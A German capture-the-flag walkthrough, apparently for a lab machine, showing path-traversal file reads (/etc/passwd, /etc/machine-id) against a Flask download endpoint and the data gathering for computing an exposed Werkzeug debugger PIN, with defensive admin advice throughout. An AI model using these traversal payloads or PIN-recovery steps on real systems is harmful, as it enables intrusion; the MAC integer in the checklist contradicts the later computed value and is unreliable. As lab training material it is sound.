view-source:http://leet.hmv:7777/download?filename=/etc/passwd ValueError: Parameter 'filename' invalid or missing. // Werkzeug Debugger< /scrpt > < /scrpt > var CONSOLE_MODE = false, EVALEX = true, EVALEX_TRUSTED = false, SECRET = "htECep76doxQyhttVoLb"; ValueError Traceback (most recent call last) This is the Copy/Paste friendly version of the traceback.
The debugger caught an exception in your WSGI application. You can now look at the traceback which led to the error. If you enable JavaScript you can also use additional features such as code execution (if the evalex feature is enabled), automatic pasting of the exceptions and much more. Brought to you by DON'T PANIC, your friendly Werkzeug powered traceback interpreter.Console Locked
The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on the standard output of your shell that runs the server.
PIN: Traceback (most recent call last): File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 1488, in __call__ return self.wsgi_app(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 1466, in wsgi_app response = self.handle_exception(e) ^^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 1463, in wsgi_app response = self.full_dispatch_request() ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 872, in full_dispatch_request rv = self.handle_user_exception(e) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 870, in full_dispatch_request rv = self.dispatch_request() ^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 855, in dispatch_request return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args) # type: ignore[no-any-return] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/project/app.py", line 84, in download_file raise ValueError("Parameter 'filename' invalid or missing.") ValueError: Parameter 'filename' invalid or missing.
Analyse: Ich habe den 'view-source:' Präfix im Browser verwendet, um den rohen HTML-Quellcode der Fehlerseite zu sehen. Dies ist ein wichtiger Schritt, da der Debugger oft zusätzliche Informationen im HTML-Quellcode versteckt oder JavaScript-Code enthält, der im gerenderten Browserfenster nicht direkt sichtbar ist. Der Quellcode bestätigt das Vorhandensein des Werkzeug-Debuggers und offenbart kritische Informationen. Ich sehe Referenzen auf debugger.js
und console.png
. Besonders interessant sind die JavaScript-Variablen: EVALEX = true
(was auf die Möglichkeit der Code-Ausführung hindeutet) und vor allem SECRET = "htECep76doxQyhttVoLb"
. Dieses 'SECRET' ist oft ein Bestandteil, der zusammen mit anderen Systeminformationen zur Berechnung des PINs für die Debugger-Konsole verwendet wird. Für Laien: Ich habe 'hinter die Kulissen' der Fehlerseite geschaut und im 'Bauplan' (dem Quellcode) geheime Informationen (einen 'Schlüssel' namens SECRET) gefunden, die mir helfen könnten, die gesperrte Konsole zu öffnen. Für Experten: Das Werkzeug-Debugger-PIN wird typischerweise aus einer Kombination von Benutzername, Modulname, Anwendungsattributname, absolutem Pfad zur Anwendungsdatei, MAC-Adresse und Machine-ID (oder Boot-ID) berechnet. Das gefundene SECRET
ist oft ein zusätzlicher Salzwert oder ein Hash, der in neuere Versionen des Debuggers integriert wurde, um die PIN-Berechnung zu erschweren, liefert aber selbst einen wichtigen Baustein zur PIN-Berechnung.
Bewertung: Das Auffinden des SECRET
-Wertes im HTML-Quellcode ist ein Durchbruch. Zusammen mit den bereits aus dem Traceback gewonnenen Informationen (Pfad zu app.py
, Hinweis auf Flask/Werkzeug) und den aus dem Nmap-Scan gewonnenen Systeminformationen (MAC-Adresse, potenzieller OS-Typ) habe ich nun die meisten der notwendigen Bausteine, um den PIN für die Debugger-Konsole zu berechnen. Die EVALEX = true
Variable bestätigt zudem, dass die Konsole nach dem Entsperren Code-Ausführung erlaubt, was der Weg zum Initial Access sein wird.
Empfehlung (Pentester): Mein nächster Schritt ist die Sammlung aller notwendigen Informationen zur PIN-Berechnung (Username, Modulname, App-Name, Pfad zur App-Datei, MAC-Adresse, Machine-ID/Boot-ID und das gefundene SECRET). Dann werde ich ein Skript verwenden oder erstellen, um den PIN zu berechnen. Mit dem berechneten PIN kann ich versuchen, die Werkzeug-Debugger-Konsole zu entsperren.
Empfehlung (Admin): Stellen Sie sicher, dass die Werkzeug-Debugger-Konsole (und ähnliche Debug-Tools) niemals in Produktionsumgebungen aktiviert oder öffentlich zugänglich ist. Wenn sie unbedingt benötigt wird, stellen Sie sicher, dass der Zugriff stark eingeschränkt ist (z.B. nur von bestimmten internen IP-Adressen) und dass die PIN-Berechnung nicht durch offen zugängliche Systeminformationen ermöglicht wird. Vermeiden Sie es, sensitive Informationen wie das Debugger-SECRET im öffentlichen HTML-Quellcode preiszugeben.
alle folgenden seiten werden ständig mit einer fehlermeldung nicht gefunden nicht angezeigt, wenn ich dann mehrmals reloade und einmal vor und zurück gehe, also vorherige und aktuelle seite mache, läd die seite und ich kann den sourcecode und den seiteninhalt sehen, sieht für mich stark nach racecoondition aus
Analyse: Während meiner Versuche, die Fehlerseite konsistent aufzurufen und ihren Quellcode zu analysieren, fiel mir auf, dass der erste Versuch oft zu einer Verbindungsfehlermeldung im Browser führte. Erst nach mehrmaligem Neuladen und der 'Vor- und Zurück'-Navigation im Browser lud die Seite korrekt und zeigte den Debugger-Traceback an. Dieses Verhalten ist sehr ungewöhnlich und deutet auf ein timing-bezogenes Problem auf dem Server hin. Es sieht stark nach einer Race Condition oder einem ähnlichen nicht-deterministischen Verhalten aus, bei dem die Fehlerbehandlung oder das Laden des Debuggers nur unter bestimmten zeitlichen Bedingungen korrekt funktioniert. Für Laien: Es war, als ob der Server 'Stimmungsschwankungen' hatte – manchmal zeigte er mir den Fehler sofort, manchmal musste ich ihn 'überreden', indem ich die Seite mehrmals neu lud, bis er mir die wichtigen Informationen zeigte. Das ist kein normales Verhalten für eine Webseite und deutet auf ein tieferliegendes Problem hin. Für Experten: Eine Race Condition tritt auf, wenn die Ausgabe oder das Verhalten eines Systems von der Reihenfolge oder dem Timing unkontrollierbarer Ereignisse (wie Netzwerkverzögerungen, Thread-Scheduling) abhängt. In diesem Fall könnte das Timing der Fehlerbehandlung im Zusammenspiel mit dem Werkzeug-Debugger dazu führen, dass die Seite beim ersten Versuch abbricht, während spätere Versuche, die vielleicht leicht anders getimt sind, den Debugger korrekt initiieren und den Traceback liefern.
Bewertung: Die Beobachtung dieser Race Condition ist zwar kein direkter Exploit, aber sie ist wichtig für das Verständnis des Systemverhaltens und erklärt, warum der Zugriff auf die Debugger-Informationen nicht immer zuverlässig war. Es bestätigt die Instabilität oder das ungewöhnliche Verhalten des fehlerhaften Endpunkts und unterstreicht die Tatsache, dass der Debugger-Modus auf eine Weise aktiviert ist, die nicht für Stabilität oder Sicherheit ausgelegt ist.
Empfehlung (Pentester): Während die Race Condition meine Enumeration kurzfristig erschwerte, konnte ich sie durch wiederholte Versuche überwinden. Für zukünftige Interaktionen mit diesem Endpunkt werde ich mir dieses Verhalten merken und gegebenenfalls Skripte verwenden, die robust gegenüber solchen Timing-Problemen sind.
Empfehlung (Admin): Untersuchen Sie das beobachtete 'Race Condition'-ähnliche Verhalten auf dem /download
-Endpunkt und im Zusammenhang mit dem Debugger. Solche nicht-deterministischen Fehler können auf tieferliegende Probleme in der Anwendungslogik oder der Serverkonfiguration hinweisen und sollten behoben werden, um Stabilität und Sicherheit zu gewährleisten. Deaktivieren Sie den Debugger vollständig, um dieses Problem zu eliminieren.
http://leet.hmv:7777/download?cmd=/etc/passwd Fehler: Verbindung fehlgeschlagen Firefox kann keine Verbindung zu dem Server unter leet.hmv:7777 aufbauen. Die Website könnte vorübergehend nicht erreichbar sein, versuchen Sie es bitte später nochmals. Wenn Sie auch keine andere Website aufrufen können, überprüfen Sie bitte die Netzwerk-/Internetverbindung. Wenn Ihr Computer oder Netzwerk von einer Firewall oder einem Proxy geschützt wird, stellen Sie bitte sicher, dass Firefox auf das Internet zugreifen darf.
Analyse: Dieser Code-Block zeigt eine spezifische Fehlermeldung im Firefox-Browser, als ich versuchte, die URL http://leet.hmv:7777/download?cmd=/etc/passwd
aufzurufen. Interessanterweise verwendete ich hier den Parameter cmd
anstelle von filename
, basierend auf einer anfänglichen Hypothese, dass vielleicht ein anderer Parameter akzeptiert wird, oder um das Systemverhalten weiter zu testen. Die Fehlermeldung "Fehler: Verbindung fehlgeschlagen" ist eine allgemeine Browser-Meldung, die auftritt, wenn der Browser keine Verbindung zum angegebenen Server und Port herstellen kann. Sie unterscheidet sich von der vorherigen Fehlermeldung, die einen Server-internen Fehler (500) und einen Traceback zurückgab. Für Laien: Mein Internet-Browser konnte keine Verbindung zu der Adresse herstellen, die ich eingegeben habe, nicht weil das Programm auf dem Server kaputt war, sondern weil er die Verbindung nicht aufbauen konnte, so als wäre der Computer offline oder eine Firewall würde blockieren. Für Experten: Eine 'Verbindung fehlgeschlagen'-Meldung auf Transport-Ebene (TCP) deutet darauf hin, dass entweder der Dienst auf dem Zielport nicht lauscht, eine Firewall die Verbindung blockiert, oder der Host selbst nicht erreichbar ist. Die Tatsache, dass ich kurz zuvor 500er Fehler erhalten habe, die eine Antwort vom Server bedeuteten, während dieser Versuch fehlschlug, könnte auf das Timing-Problem (Race Condition) hindeuten oder darauf, dass die Verwendung des falschen Parameters cmd
zu einem anderen Fehlerpfad führte, der die Verbindung sofort beendete, bevor der Debugger eine Antwort senden konnte.
Bewertung: Dieses Ergebnis, eine Verbindungsfehlermeldung statt eines 500er Fehlers mit Traceback, ist im Kontext der beobachteten Race Condition zu sehen. Es ist wahrscheinlich kein neues Problem, sondern eine Manifestation desselben Timing-Problems oder einer anderen Fehlerbehandlung, die durch den ungültigen Parameter cmd
ausgelöst wurde. Es bestätigt erneut die Instabilität des fehlerhaften Endpunkts und die Notwendigkeit, meine Anfragen präzise zu gestalten (also den richtigen Parameter filename
zu verwenden), um den gewünschten Debugger-Traceback zu erhalten.
Empfehlung (Pentester): Ich werde mich weiterhin auf die Ausnutzung des /download
-Endpunkts mit dem korrekten Parameter filename
und Verzeichnis-Traversal konzentrieren. Die Verwendung anderer Parameter führte hier nicht zum gewünschten Ergebnis. Ich muss mit dem potenziell unzuverlässigen Verhalten des Endpunkts aufgrund der Race Condition rechnen.
Empfehlung (Admin): Analysieren Sie, warum unterschiedliche Anfragen an denselben Endpunkt (hier mit ?cmd=
vs. ?filename=
) zu unterschiedlichen Fehlermeldungen (Verbindung fehlgeschlagen vs. 500 Internal Error) führen. Dieses inkonsistente Verhalten erschwert die Fehlersuche und kann ein Indikator für unsichere Fehlerbehandlungsmechanismen sein. Standardisieren Sie die Fehlerantworten der Anwendung.
http://leet.hmv:7777/download?cmd=/etc/passwd ValueError ValueError: Parameter 'filename' invalid or missing. Traceback (most recent call last) File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 1488, in __call__ return self.wsgi_app(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 1466, in wsgi_app response = self.handle_exception(e) ^^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 1463, in wsgi_app response = self.full_dispatch_request() ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 872, in full_dispatch_request rv = self.handle_user_exception(e) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 870, in full_dispatch_request rv = self.dispatch_request() ^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 855, in dispatch_request return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args) # type: ignore[no-any-return] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/project/app.py", line 84, in download_file raise ValueError("Parameter 'filename' invalid or missing.") ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ValueError: Parameter 'filename' invalid or missing. The debugger caught an exception in your WSGI application. You can now look at the traceback which led to the error. To switch between the interactive traceback and the plaintext one, you can click on the "Traceback" headline. From the text traceback you can also create a paste of it. For code execution mouse-over the frame you want to debug and click on the console icon on the right side. You can execute arbitrary Python code in the stack frames and there are some extra helpers available for introspection: dump() shows all variables in the frame dump(obj) dumps all that's known about the object Brought to you by DON'T PANIC, your friendly Werkzeug powered traceback interpreter.
Analyse: Nach der Beobachtung der 'Race Condition' habe ich die URL http://leet.hmv:7777/download?cmd=/etc/passwd
erneut aufgerufen und diesmal den 'Vor- und Zurück'-Prozess im Browser angewendet, um die Debugger-Ausgabe zu erzwingen. Wie erwartet, zeigte die Seite nach diesem Prozess wieder den detaillierten Traceback, den ich zuvor gesehen hatte. Dies bestätigt meine Hypothese, dass das initiale 'Verbindung fehlgeschlagen'-Problem auf einem Timing-Aspekt des Debuggers beruht und durch Manipulation des Browser-Verhaltens umgangen werden kann. Der Traceback ist identisch mit dem ersten, was die Konsistenz des Fehlers bei Verwendung des falschen Parameters cmd
(statt filename
) unterstreicht, sobald der Debugger korrekt lädt. Für Laien: Durch das 'Überlisten' des Servers mit mehrmaligem Neuladen konnte ich erzwingen, dass er mir wieder die detaillierte Fehlermeldung zeigt, die ich brauchte, um weiterzukommen. Das zeigte mir, dass das Problem auf dem Server lag und ich einen Weg gefunden hatte, es zu umgehen. Für Experten: Die reproduzierbare Rückkehr des Debugger-Tracebacks nach Anwendung des 'Race Condition'-Workarounds bestätigt sowohl das Vorhandensein des Timings-Problems als auch die Zuverlässigkeit der Debugger-Ausgabe, sobald sie einmal triggert. Es ist unwahrscheinlich, dass der Parametername selbst eine Rolle spielt, solange er nicht 'filename' ist, da jeder unbekannte Parameter wahrscheinlich denselben Fehlerpfad auslöst, der den Debugger aktiviert.
Bewertung: Die Fähigkeit, den Debugger-Traceback konsistent durch den 'Race Condition'-Workaround zu erhalten, ist ein wichtiger Erfolg. Es bedeutet, dass ich zuverlässig auf die wertvollen Informationen zugreifen kann, die der Debugger preisgibt (wie den SECRET-Wert und die Pfade), und somit die notwendigen Informationen zur PIN-Berechnung sammeln kann. Das Problem mit dem falschen Parameter (cmd
) ist zweitrangig, solange ich weiß, dass der korrekte Parameter filename
heißt und wie die Umgehung für die Debugger-Anzeige funktioniert.
Empfehlung (Pentester): Ich werde nun gezielt den Parameter filename
verwenden und bei Bedarf den beobachteten 'Race Condition'-Workaround anwenden, um die LFI-Schwachstelle auszunutzen und die für die PIN-Berechnung benötigten Systeminformationen zu extrahieren.
Empfehlung (Admin): Die beobachtete 'Race Condition' ist ein ernsthaftes Problem, das behoben werden muss. Es ermöglicht einem Angreifer, Debug-Informationen zu erhalten, die eigentlich verborgen bleiben sollten. Eine gründliche Code-Überprüfung der Fehlerbehandlung im Zusammenhang mit dem Werkzeug-Debugger ist dringend erforderlich, zusätzlich zur Deaktivierung des Debuggers in der Produktion.
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin messagebus:x:100:107::/nonexistent:/usr/sbin/nologin avahi-autoipd:x:101:109:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin sshd:x:102:65534::/run/sshd:/usr/sbin/nologin riva:x:1000:1000:,,,:/home/riva:/bin/bash
Analyse: Mit dem Wissen um den korrekten Parameternamen (filename
) und der Umgehung der Path-Validation durch Verzeichnis-Traversal (../../../../
, um von /tmp/
nach /
zu navigieren) habe ich nun den Befehl curl "http://leet.hmv:7777/download?filename=../../../../etc/passwd"
ausgeführt. Dieser Befehl sendet eine HTTP-GET-Anfrage an den /download
-Endpunkt mit dem modifizierten filename
-Parameter. Das Ziel ist es, die Datei /etc/passwd
zu lesen, die eine Liste der Benutzerkonten auf dem System enthält. Die Ausgabe im Terminal zeigt den vollständigen Inhalt der Datei /etc/passwd
. Für Laien: Ich habe die 'Download'-Funktion der Webseite ausgetrickst, indem ich ihr einen speziellen Dateinamen gegeben habe, der sie dazu bringt, nicht eine Datei aus ihrem eigenen Ordner, sondern die Systemdatei mit der Benutzerliste (/etc/passwd
) herunterzuladen und mir anzuzeigen. Für Experten: Der erfolgreiche Zugriff auf /etc/passwd
mittels ../../../../etc/passwd
ist der definitive Beweis für eine LFI-Schwachstelle. Dies ermöglicht einem Angreifer das Lesen beliebiger Dateien auf dem System, für die der Webserver-Prozess Leserechte hat. Dies ist eine kritische Schwachstelle, die oft zur Offenlegung von Konfigurationsdateien, Quellcode oder Benutzerinformationen genutzt werden kann.
Bewertung: Die LFI-Schwachstelle ist erfolgreich ausgenutzt. Ich kann beliebige Dateien lesen. Der Inhalt von /etc/passwd
liefert eine Liste aller Benutzerkonten auf dem System, ihrer User-IDs (UIDs), Group-IDs (GIDs), Home-Verzeichnisse und Standard-Shells. Besonders interessant sind die Benutzer root
(UID 0, /root
Home, /bin/bash
Shell), www-data
(UID 33, der wahrscheinlich das Webserver-Skript ausführt) und riva
(UID 1000, /home/riva
Home, /bin/bash
Shell). Der Benutzer riva
mit einer interaktiven Shell ist ein potenzielles Ziel für den Initial Access.
Empfehlung (Pentester): Mit der LFI-Schwachstelle kann ich nun weitere Systemdateien lesen, die für die PIN-Berechnung des Werkzeug-Debuggers relevant sind (z.B. /etc/machine-id
). Ich werde auch nach weiteren Konfigurationsdateien oder Anmeldeinformationen suchen, die über LFI zugänglich sind. Der Benutzer riva
mit einer Bash-Shell ist ein vielversprechendes Ziel für den Initial Access.
Empfehlung (Admin): Die LFI-Schwachstelle muss umgehend behoben werden. Jede Form der direkten Einbindung von Benutzereingaben in Dateipfade ist unsicher. Implementieren Sie eine strikte Validierung, die nur das Herunterladen von Dateien aus einem sicheren, dedizierten Verzeichnis erlaubt und jegliche Pfadtrennzeichen (/
, \
, ..
) in der Benutzereingabe entfernt oder ablehnt. Die Offenlegung von /etc/passwd
erlaubt Angreifern, valide Benutzernamen für Brute-Force-Angriffe auf Dienste wie SSH zu sammeln.
root:x:0:0:root:/root:/bin/bash sshd:x:102:65534::/run/sshd:/usr/sbin/nologin riva:x:1000:1000:,,,:/home/riva:/bin/bash
Analyse: Um die Ergebnisse des /etc/passwd
-Lesens zu verfeinern und schnell Benutzer mit interaktiven Shells zu identifizieren, habe ich den vorherigen curl
-Befehl erweitert, indem ich die Ausgabe an grep sh
weiterleite. Dies filtert die Zeilen in /etc/passwd
, die die Zeichenkette "sh" enthalten. Da Standard-Shells wie /bin/bash
, /bin/sh
, /bin/zsh
etc. "sh" im Namen enthalten, ist dies eine schnelle Methode, Benutzer zu finden, die sich potenziell interaktiv am System anmelden können. Der -s
(silent) Parameter bei curl
unterdrückt die Fortschrittsanzeige, damit die Ausgabe direkt an grep
übergeben werden kann. Für Laien: Ich habe die Benutzerliste (/etc/passwd
) nach Einträgen durchsucht, die darauf hindeuten, dass der Benutzer sich wie gewohnt am Computer anmelden und Befehle ausführen kann, also eine 'Shell' hat. Für Experten: Das Filtern von /etc/passwd
nach Shell-Einträgen ist eine Standardtechnik im Pentesting, um schnell potenzielle Anmeldeziele zu identifizieren. Benutzer mit /sbin/nologin
oder ähnlichen Non-Interactive-Shells sind in der Regel keine direkten Anmeldeziele.
Bewertung: Das Ergebnis zeigt die Benutzer root
, sshd
und riva
. root
hat natürlich /bin/bash
. sshd
hat /usr/sbin/nologin
, was bedeutet, dass dies ein Systembenutzer ist, der sich nicht interaktiv über SSH anmelden kann. riva
hat ebenfalls /bin/bash
, was bestätigt, dass dies ein normaler Benutzer ist, der sich interaktiv am System anmelden kann. Der Benutzer riva
ist somit ein klares Ziel für den Initial Access, falls Anmeldedaten gefunden werden.
Empfehlung (Pentester): Der Benutzername riva
ist nun als primäres Ziel für den Initial Access identifiziert. Ich werde alle gefundenen Anmeldedaten oder Schwachstellen nutzen, um mich als Benutzer riva
am System anzumelden, wahrscheinlich über SSH, da dieser Dienst offen ist.
Empfehlung (Admin): Überprüfen Sie, welche Benutzerkonten eine interaktive Shell benötigen. Systemkonten oder Dienstkonten sollten in der Regel keine interaktive Shell haben (z.B. /sbin/nologin
). Minimeren Sie die Anzahl der Benutzer mit interaktiven Shells auf das Notwendigste, um die Angriffsfläche zu reduzieren.
Wir haben jetzt fast alle Puzzleteile zusammen, um den PIN zu berechnen. Lass uns mal eine Checkliste machen:
Nächster Schritt: Die Machine-ID holen
Jetzt musst du die LFI-Schwachstelle nochmal nutzen, um die machine-id des Systems auszulesen.
Analyse: Basierend auf der Analyse des Werkzeug-Debuggers und der Recherche zur PIN-Berechnung habe ich hier eine Checkliste der benötigten Informationen erstellt. Die meisten Teile (Username, Modulname, App-Name, Pfad zur App-Datei, MAC-Adresse) habe ich bereits aus den vorherigen Schritten (Nmap-Scan, Traceback-Analyse, /etc/passwd
) gesammelt. Das einzig fehlende Puzzleteil für die typische PIN-Berechnung ist die Machine-ID des Systems. Die Machine-ID ist eine eindeutige Kennung, die bei der Installation eines Linux-Systems generiert wird und in der Datei /etc/machine-id
gespeichert ist. Glücklicherweise habe ich gerade eine LFI-Schwachstelle entdeckt, die es mir erlaubt, beliebige Dateien zu lesen. Für Laien: Um das 'Geheimnis' (den PIN) zu knacken, das die Konsole schützt, brauche ich mehrere Informationen über den Computer, die ich bisher gesammelt habe, wie den Benutzernamen, den Pfad zum Programm und die 'Adresse' (MAC-Adresse). Das letzte fehlende Stück ist die 'Ausweisnummer' des Computers (Machine-ID). Da ich jede Datei lesen kann, kann ich diese Information direkt aus der entsprechenden Systemdatei holen. Für Experten: Die PIN-Berechnung des Werkzeug-Debuggers nutzt hashes basierend auf festen Systeminformationen, die sich normalerweise nicht ändern. Das Sammeln dieser Informationen über LFI ist eine gängige Methode, um den Debugger-PIN in solchen Szenarien zu umgehen. Die Machine-ID ist ein Standardbestandteil dieser Berechnung.
Bewertung: Das genaue Identifizieren des fehlenden Teils (Machine-ID) und das Wissen, wo dieses im Dateisystem zu finden ist (/etc/machine-id
), ist ein klares Zeichen für einen zielgerichteten Ansatz. Die LFI-Schwachstelle ist das perfekte Werkzeug, um diese Information zu erhalten. Die Checkliste dient als klarer Plan für die nächsten Schritte.
Empfehlung (Pentester): Mein unmittelbarer nächster Schritt ist die Nutzung der LFI-Schwachstelle, um den Inhalt von /etc/machine-id
auszulesen. Sobald ich diesen Wert habe, verfüge ich über alle notwendigen Komponenten, um den PIN für die Werkzeug-Debugger-Konsole zu berechnen.
Empfehlung (Admin): Stellen Sie sicher, dass sensible Systemdateien wie /etc/machine-id
, /etc/shadow
oder Konfigurationsdateien niemals über Webanwendungen zugänglich sind, selbst wenn dies indirekt über LFI-Schwachstellen geschieht. Die Machine-ID sollte als potenziell sensitive Information behandelt werden, die nicht öffentlich zugänglich sein darf, insbesondere wenn sie zur Ableitung anderer Geheimnisse (wie Debugger-PINs) verwendet werden kann.
f6791f240ce6407ea271e86b78ac3bdb
Analyse: Um die fehlende Machine-ID zu erhalten, nutze ich erneut die ausgenutzte LFI-Schwachstelle. Ich sende eine curl
-Anfrage an den /download
-Endpunkt mit dem Parameter filename=../../../../etc/machine-id
. Wie zuvor navigiere ich mit Verzeichnis-Traversal von /tmp/
zurück ins Wurzelverzeichnis und gebe dann den Pfad zur Datei /etc/machine-id
an. Der -s
Parameter sorgt dafür, dass nur der Inhalt der Datei ausgegeben wird. Die Ausgabe zeigt eine lange hexadezimale Zeichenkette: f6791f240ce6407ea271e86b78ac3bdb
. Für Laien: Ich habe die 'Download'-Funktion wieder dazu gebracht, mir eine bestimmte Systemdatei zu zeigen, diesmal die Datei, die die 'Ausweisnummer' des Computers enthält. Diese Nummer habe ich erfolgreich auslesen können. Für Experten: Der erfolgreiche Zugriff auf /etc/machine-id
bestätigt die volle Lesefähigkeit über die LFI-Schwachstelle. Der zurückgegebene Wert ist die systemspezifische Machine-ID, die nun als weiterer Baustein für die PIN-Berechnung zur Verfügung steht.
Bewertung: Die Machine-ID f6791f240ce6407ea271e86b78ac3bdb
wurde erfolgreich extrahiert. Damit habe ich nun alle erforderlichen Systeminformationen gesammelt, die typischerweise für die Berechnung des Werkzeug-Debugger-PINs benötigt werden: Username, Modulname, App-Name, Pfad zur App-Datei, MAC-Adresse und Machine-ID. Ich bin nun bereit, den PIN zu berechnen und den Initial Access zur Debugger-Konsole zu versuchen.
Empfehlung (Pentester): Alle notwendigen Informationen zur PIN-Berechnung liegen vor. Der nächste Schritt ist die Implementierung der PIN-Berechnungslogik (basierend auf der Werkzeug-Implementierung) unter Verwendung der gesammelten Daten (einschließlich des zuvor gefundenen SECRETS) und die Anwendung des berechneten PINs zur Entsperrung der Debugger-Konsole.
Empfehlung (Admin): Stellen Sie sicher, dass die LFI-Schwachstelle behoben ist, um das Auslesen sensibler Systemdateien zu verhindern. Die Offenlegung der Machine-ID kann in Kombination mit anderen Informationen ein Risiko darstellen.
Checkliste für den finalen Schlag:
Analyse: Dies ist die aktualisierte Checkliste aller benötigten Informationen für die Werkzeug-Debugger-PIN-Berechnung, nachdem ich die Machine-ID erfolgreich ausgelesen habe. Die Liste enthält nun alle erforderlichen Elemente: den Benutzernamen (riva
), den Modulnamen (flask.app
), den App-Namen (Flask
), den Pfad zur App-Datei (/opt/project/app.py
), die MAC-Adresse (hier schon in ihre Integer-Form umgerechnet: 1407391932351
, obwohl die Rohform 08:00:27:8E:D7:37
aus Nmap stammt) und die Machine-ID (f6791f240ce6407ea271e86b78ac3bdb
). Alle Punkte sind nun als 'erledigt' markiert. Für Laien: Ich habe jetzt alle 'Zutaten' gesammelt, die ich brauche, um das 'Rezept' (den PIN) für die gesperrte Konsole 'nachzukochen'. Für Experten: Die vollständige Sammlung dieser spezifischen Systeminformationen ermöglicht die deterministische Nachbildung der PIN-Berechnungslogik des Werkzeug-Debuggers. Beachte, dass die MAC-Adresse als Integer-Wert benötigt wird, was eine einfache Umwandlung erfordert.
Bewertung: Das Vorhandensein aller notwendigen Informationen ist ein kritischer Erfolgsfaktor. Dies ist der letzte Schritt vor der eigentlichen PIN-Berechnung. Der gesamte Prozess von der anfänglichen Enumeration über die LFI-Ausnutzung zur Informationsbeschaffung war zielgerichtet und erfolgreich. Ich bin nun in der Lage, den PIN offline zu berechnen.
Empfehlung (Pentester): Ich werde nun ein Python-Skript verwenden oder anpassen, das die bekannte Werkzeug-PIN-Berechnungslogik implementiert, um den tatsächlichen PIN unter Verwendung der gesammelten Daten zu berechnen. Dieses Skript wird den Hash der Systeminformationen berechnen und daraus den 9-stelligen PIN generieren.
Empfehlung (Admin): Stellen Sie sicher, dass keiner der Bausteine, die zur PIN-Berechnung verwendet werden (Username, Modul/App-Namen, Pfade, MAC-Adresse, Machine-ID), öffentlich zugänglich ist oder leicht über Schwachstellen wie LFI ausgelesen werden kann. Regelmäßige Änderungen relevanter Konfigurationen oder ein Patch des Werkzeug-Debuggers sind empfehlenswert.
8796756694839
Analyse: Dieser Schritt zeigt die Umrechnung der MAC-Adresse von ihrem hexadezimalen Format (08:00:27:8E:D7:37
, wobei die Doppelpunkte für die Umrechnung ignoriert oder entfernt werden) in einen Dezimal-Integer-Wert. Ich nutze dazu eine interaktive Python3-Shell. Der Befehl print(int('0800278ED737', 16))
nimmt die Hex-Zeichenkette 0800278ED737
, interpretiert sie als Basis 16 (hexadezimal) und gibt das Ergebnis als Dezimalzahl aus. Für Laien: Ich habe die 'Hardware-Adresse' des Computers von einer speziellen Schreibweise (mit Buchstaben und Doppelpunkten) in eine normale Zahl umgewandelt, weil das 'Rezept' für den PIN diese Zahl benötigt. Für Experten: Die Umrechnung der MAC-Adresse in einen Dezimal-Integer ist ein spezifischer Schritt, der in der Werkzeug-PIN-Berechnungslogik erforderlich ist. Die int()
Funktion in Python mit Basis 16 ist die korrekte Methode dafür.
Bewertung: Die MAC-Adresse 08:00:27:8E:D7:37
wurde erfolgreich in den benötigten Integer-Wert 8796756694839
umgerechnet. Dieser Wert ist nun bereit, in das PIN-Berechnungsskript eingespeist zu werden. Dies ist ein kleiner, aber notwendiger Zwischenschritt, der zeigt, dass ich die spezifischen Anforderungen der PIN-Berechnung verstanden habe.
Empfehlung (Pentester): Der umgerechnete Integer-Wert der MAC-Adresse wird nun zusammen mit den anderen gesammelten Informationen im PIN-Berechnungsskript verwendet.
